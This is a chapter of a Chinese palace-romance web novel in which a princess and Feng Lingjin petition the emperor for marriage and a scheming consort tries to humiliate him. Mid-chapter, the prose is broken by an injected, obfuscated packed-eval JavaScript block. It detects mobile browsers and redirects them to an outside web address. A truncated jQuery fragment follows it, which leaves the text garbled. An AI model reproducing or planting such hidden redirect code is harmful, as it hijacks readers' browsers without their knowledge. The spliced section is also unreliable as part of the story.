燕笙反应了一会,才道:“你说真的?”
丰凌瑾看着她,点了点头。
燕笙有些不相信,但丰凌瑾的眼神告诉她,他是认真的。她有点儿不知所措,还有点想笑。她想她应该发火,可她知道丰凌瑾是真的想帮她。
燕笙想了一会。
她的脑子很乱,理不出什么思路,只是隐隐觉得不对。丰凌瑾的提议很诱人,但她却更不应该轻易点头。
她拒绝道:“我想我不该接受。”
“为什么?”
“不知道。”燕笙说不清楚,“也许是太突然了吧,而且,我们才刚刚约好的。”
不成婚是两人默认的。
“假如我们不成婚会让你受伤害,那我们就成婚。”丰凌瑾道,“而且你要明白一件事。”
“什么?”
“和你成婚,我也有好处。”丰凌瑾道,“你是公主,还有一个宰相舅父。”
燕笙有些荒谬道:“你不觉得你很自负吗?说成婚就成婚,说不成婚就不成婚。你凭什么要求我相信你?”
“你可以把成婚当成我保护你的方式。”丰凌瑾道,“成婚后我不会要求你什么,你还和从前一样。”
“那我要一直皇宫呢?”
丰凌瑾思索了一会,道:“可以。我也在宫里当差,你有事可以找我。”
燕笙想起陈羽华来的那个夜晚,她刻意不看禁军,就是怕看见他。
“那你母亲呢?”问出这句话后,燕笙立马就后悔了,说得仿佛她已经答应了似的。
丰凌瑾却想了想,回复道:“只要我是认真的,我母亲不会阻拦。”
燕笙笑着叹了口气。
丰凌瑾给了她唯一的稻草,叫她如何拒绝呢?
两人谈完后,燕笙要回宫,马车就停在茶楼下面。丰凌瑾送燕笙上了车,本以为他会到此为止,没想到马车一沉,他也登了上来。
春水发出一声惊呼。
“春水。”燕笙叫了她一声,看向丰凌瑾,示意他进马车。
本以为他还要说些什么,没想到他进了车厢,一言不发,坐的位置更是离燕笙很远。
过了半刻,燕笙忍不住道:“你就是来坐马车的?”
没想到丰凌瑾颔首,道:“我有事去宫里一趟。”
“去做什么。”燕笙觉得自己管的有点多,又想,丰凌瑾要是想和自己成婚,多问一句也不算什么。
“去向陛下求婚。”他说。
如果手边有一杯茶,燕笙应该会喷出满口茶水。
“这么快?”她不敢相信道。
刚刚才说好,现在就要去和父皇说了。
丰凌瑾的样子不像开玩笑,燕笙也只得认真地和他探讨:“之前你在晋南王府表现得不情愿,父皇就没接下去说。现在你贸然过去,他可能会不高兴。”
而且,他也可能不会见他们。
自从出了杨明琅那件事后,父皇就再没见过母后和自己了。她不知道父皇是彻底对她们失去了感情,还是在等真相出来再做决定。作为父皇和母后唯一的女儿,他们这么多年的相伴对她来说,一直有种隔阂的感觉。她无端觉得,无论出于什么样的原因,父皇这样做本身就说明,对她们没什么感情。
因此,现在去求见他,她摸不准他的态度,甚至连他会不会见她们也不知道。
宫门外,门将按照太子的规矩,又看了一眼车厢里有谁。这个门将有些面善,似乎上次就是他查的自己,在看到她和丰凌瑾坐在一起后十分惊讶,还倒退了半步。
丰凌瑾循动静望去。
“统领!”秦壮低头道。
“嗯。”丰凌瑾无可无不可地应了一声,没有再看他。
又行了一段路,马车停了下来,春水在外面问燕笙,如果她要回后宫的话,就该跟丰凌瑾分道扬镳了。
春水还在等回话,她没有应声。
丰凌瑾站了起来,没问燕笙的意见。
燕笙的手指颤动了一下,鬼使神差地问了一句:“要我陪你吗?”
丰凌瑾愣了愣,道:“随你。”
他好像是无所谓的,本来这也应该他一个人去,燕笙跟着去,像是多么恨嫁似的,不过他也没多说什么。
燕笙不知道自己是出于怎样的心理,也许是想看看父皇对她的态度,之后更好应对吧!她就这样和丰凌瑾到了宣政殿。
出乎意料的是,鱼有道听了丰凌瑾的话后,十分高兴:“近些天陛下的心情十分不好,听见这个好消息,一定会龙颜大悦的,老奴就先恭喜殿下你了。”
他对燕笙行了个礼。
“不过,刘宝林方才进去了,不知道方不方便,奴才进去通报一声,二位稍等片刻。”
“那就多谢公公了。”燕笙道。
不过片刻,鱼有道满面笑容地出来,请他们进去。
丰凌瑾刚想动,被燕笙抓住了衣裳。
“鱼有道说的不一定是真的,进去之后小心点。”她低声道。
丰凌瑾示意知道了。
进入宣政殿,燕笙先看见的是鱼有道提到的刘宝林。说实话,她并不怎么美丽,顶多算有些娇俏罢了。但她很年轻,估计才十五六岁,比燕笙小好几岁。
看见燕笙和丰凌瑾进来,她并不躲避,还站在御座之上,站在皇帝旁边替他磨墨。
燕笙和丰凌瑾只得一并见过她。
他们跪下后,皇帝并没有说话,好像是在打量着他们。
燕笙和丰凌瑾早做了准备,并不心急。
反倒是刘宝林按捺不住道:“起来罢。”
燕笙一愣,看向了父皇。
刘宝林道:“陛下,臣妾替陛下叫公主殿下和这位丰将军起来,他们怎么不理臣妾呀。”
她不认识丰凌瑾,依照他的打扮叫他将军。
话说得甚为荒谬,嗓音却像黄鹂一般清脆动人。
她走过去拉皇帝的手,不依。
她虽是在责怪燕笙和丰凌瑾,二人却全然不理会她的话,还是按照原样跪着。
过了好一会,皇帝才道:“起来罢。”
燕笙站起来的时候,正看见刘宝林意态眷眷地倚在皇帝身边抚平他的衣袖。
这美人恩,真不是一般人可以消受得的。
“你要求娶煦月公主?”皇帝问道。
“是。”丰凌瑾再次下跪,“请陛下恩准。”
“在晋南王府时,你为何不愿?”皇帝抛开了手,让刘宝林离他远一些。
刘宝林轻轻地“哼”了一声,不情不愿地站到了离他两丈远的地方,离桌案都有好一段距离,像是和皇帝闹小脾气似的。
他果然提起了这件事。丰凌瑾那日虽算不上拒绝,但帝王的恩旨是不容抗拒的,更别说丰凌瑾还后悔了,再次来求婚。
燕笙告诫自己,这是丰凌瑾应得的,不要太过担心他。
“此是臣之过,请陛下降罪。”丰凌瑾没有过多辩驳。
“给你和燕笙赐婚,是赏赐,你又让朕罚你,到底是奖还是罚?”皇帝道。
他不愿意轻轻放过。
“陛下,依臣妾看,丰将军求娶公主的心意不诚,还得多考察考察。”刘宝林道。
她气呼呼地看着丰凌瑾,显然将他当成了一个负心汉。
皇帝挑了下眉:“爱妃何出此言?”
“天底下的男人如同那乌鸦一般,都是一样的。公主还得多调教调教,才能有一个如意郎君。”这话与其说是为了燕笙好,还不如说是别有用意,特地说给皇帝听的。
刘宝林微侧过脸,看向皇帝。在燕笙的角度,看不见她的表情。想必一定十分动人,这样的气性,无论是燕笙,还是上了年纪的司马皇后,都是做不出来的。
燕笙在心底叹了口气,替母后惋惜。
皇帝继续感兴趣得问道:“那依爱妃看,该如何罚他呢?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053730|193578||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原先刘宝林说的是“考察”,皇帝直接改成了“罚”,一刹那燕笙心念百转,最终只看向了丰凌瑾,看他什么反应。
刘宝林却不惊反喜,兴趣颇浓地打量丰凌瑾:“要臣妾说,要让丰将军给公主下跪磕头,磕一次头,就说一次‘公主我错了’或者‘请公主原谅’,怎么样陛下?”
皇帝意义不明地点头,问道:“丰爱卿,你怎么看?”
“父皇。”燕笙想要阻拦,急切道,“儿臣和丰世子之间并非简单的对错,请父皇收回成命。”
“公主殿下这可说错了。”刘宝林毫不忌讳地插在皇帝前面说,“陛下在问丰将军愿不愿意呢?又不是陛下逼丰将军的,是吗陛下?”
她像皇帝邀功。
皇帝不语,看起来像是赞成的。
“丰世子。”燕笙有些紧张地看向他。她没打算将他置于这种境地的,如果他此时拒绝,自己也不会怪他。
丰凌瑾停了一会,道:“微臣愿意。”
他调转身体,朝向了燕笙。
“丰凌瑾!”燕笙喊他。
别这样做,我不值得你这样做,谁也不值得。
“开始罢。”刘宝林如同看好戏一般数道,“一——”
丰凌瑾的面色坦然,仿佛前面不是燕笙,而是他的父母、师父、先祖。
燕笙从他的眼神中明白了他的意思:他想帮自己,就不会中途后悔。
可她不想这么做,不想逼他。
丰凌瑾的手按在地上,正要弯腰之际,皇帝突然沉声道:“鱼有道。”
鱼有道站在外边,也不知是怎么听到的,立刻就走了进来:“陛下。”
“将人拉下去。”
皇帝并没有说是谁,鱼有道却会意地绕过燕笙和丰凌瑾,派人擒住了刘宝林。
“陛下!”刘宝林尚未反应过来,就被拽下了台阶,她挣扎地喊道,“陛下!”
“别吵嚷了,宝林。”鱼有道亲和道,“跟奴才下去歇歇吧。”
刘宝林还想说话,嘴巴却被捂住了。
鱼有道经过燕笙时,眼睛泻出点笑意。
燕笙一瞬间福至心灵。鱼有道恐怕忍耐这个刘宝林多时了,她的结局他已预料到,缺的就是自己和丰凌瑾这把火。
一个正六品宝林,在皇帝偌大的后宫中不算什么。皇帝却像是十分疲惫似的,揉着额头道:“这些人都没有你母后知朕的意。”
皇帝的目光在燕笙身上停了一瞬,又很快移开。
仿佛在她身上看到了司马皇后。
燕笙回道:“母后一直在元庆殿等父皇。”
皇帝依然感慨,却没有再说一句话,更没有任何要召见司马皇后的意思。
此事告一段落,又回到燕笙和丰凌瑾的婚事上来。刘宝林之后,皇帝变得有些心不在焉,不再追究丰凌瑾的过错,而是问道:“丰凌瑾,你和陈羽华不同,陈羽华虽有盛名,毕竟人微言轻。而你,是威武侯之子,你父亲是封疆大吏,你可知道,娶朕的女儿意味着什么?”
他这话说得直接,用意可能和燕笙想的不同。
燕笙的心忽然一沉。她意识到,太子想方设法就是要阻挠自己和丰凌瑾成婚,因为他家的势力遭人忌惮。一旦丰凌瑾和自己在一起,就要面对太子的攻讦。
他真的要和丰家,一脚踏入这争斗之中吗?
丰凌瑾答道:“末将愿为大燕江山舍生忘死,肝脑涂地!”
他说这话的时候铿锵有力,大殿中都回荡着他的声音,不似作假。
皇帝露出了一个微笑,却没有立刻说话。
他问:“笙儿,你觉得如何?”
“是,”燕笙道,“女儿顽劣,之前自己挑的夫婿不尽如人意,今日女儿随他来,就是要亲眼见证女儿和他的婚事,绝不后悔。”
假如这是一条不归路,丰凌瑾已经给出了他的选择,那她也不会后退,从今以后,同甘苦、共沉沦。